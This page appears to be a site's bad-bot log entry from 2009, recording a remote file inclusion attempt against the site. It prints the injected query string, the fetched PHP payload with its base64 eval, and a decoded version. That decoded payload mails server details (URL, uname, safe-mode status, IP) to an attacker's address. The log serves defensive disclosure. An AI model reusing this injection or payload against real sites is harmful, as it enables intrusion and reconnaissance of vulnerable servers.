|
|
|
| Bad Bot Information |
| Here you see some Information about a bad bot which tried to hack or abuse this site. Host and URL (if shown) should not be visited. If robots.txt is not respected, this bot should be banned.
|
show all
| Date |
October 3, 2009 23:47:27 |
| IP |
211.251.222.135 |
| Host |
211.251.222.135 |
| Country |
Republic of Korea |
| User Agent |
Mozilla/5.0 |
| Query String |
/?xi=cGFnZT1zaG9wL2JpJm9mZnNldD02MCZ...udW1fcm93cz02OTY2Jmt3eD0_%20%20///?_SERVER[DOCUMENT_ROOT]=http://www.koreadefence.net/data/shirohige/zfxid.txt?? |
| URL |
http://www.koreadefence.net |
| domain |
koreadefence.net |
| IP |
110.45.145.208 |
| hosted in |
Republic of Korea |
| File |
http://www.koreadefence.net/data/shirohige/zfxid.txt |
| Text |
zfxid.txt
<?php /* ZFxID */ echo("Shiro"."Hige");
echo("Shiro"."Hige"); /* ZFxID */ ?>
<?php
$lmge =
"JGNyZWF0b3I9YmFzZTY0X2RlY29kZSgiWW1GdUxtUmhaMlV3TjBCbmJXRnBiQzVqYjIwPSIpOw0KKCRzYWZlX21vZGUpPygkc2FmZXo9
Ik9OIik6KCRzYWZlej0iT0ZGX0hFSEUiKTsNCiRiYXNlPSJodHRwOi8vIi4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uJF9TRVJWRVJbJ1JFUVVFU1
RfVVJJJ107IA0KJG5hbWUgPSBwaHBfdW5hbWUoKTsgJGlwID0gZ2V0ZW52KCJSRU1PVEVfQUREUiIpOyAkaXAyID0gZ2V0aG9zdGJ5YWRkcigk
X1NFUlZFUltSRU1PVEVfQUREUl0pOyAkc3ViaiA9ICRfU0VSVkVSWydIVFRQX0hPU1QnXTsgDQokbXNnID0gIlxuQkFTRTogJGJhc2VcbnVuYW
1lIGE6ICRuYW1lXG5CeXBhc3M6ICRieXBhc3NlclxuSVA6ICRpcFxuSG9zdDogJGlwMiAkcHdkcyI7DQokZnJvbSA9IkZyb206ICIuJHdyaXQu
Il9fXz0iLiRzYWZlei4iPHRvb2xAIi4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uIj4iOw0KbWFpbCggJGNyZWF0b3IsICRzdWJqLCAkbXNnLCAkZn
JvbSk7"; eval(base64_decode($lmge));
exit;
?>
|
| decoded text |
$creator=base64_decode("
YmFuLmRhZ2UwN0BnbWFpbC5jb20="
)
($safe_mode)?($safez="
ON"
):($safez="
OFF_HEHE"
)
$base="
http://"
.$_SERVER['
HTTP_HOST'
].$_SERVER['
REQUEST_URI'
]
$name = php_uname()
$ip = getenv("
REMOTE_ADDR"
)
$ip2 = gethostbyaddr($_SERVER[REMOTE_ADDR])
$subj = $_SERVER['
HTTP_HOST'
]
$msg = "
BASE: $base
uname a: $name
Bypass: $bypasser
IP: $ip
Host: $ip2 $pwds"
$from ="
From: "
.$writ."
___="
.$safez."
<
tool@"
.$_SERVER['
HTTP_HOST'
]."
>
"
mail( $creator, $subj, $msg, $from)
|
| decoded text |
|
ban.dage07@gmail.com |
|
|
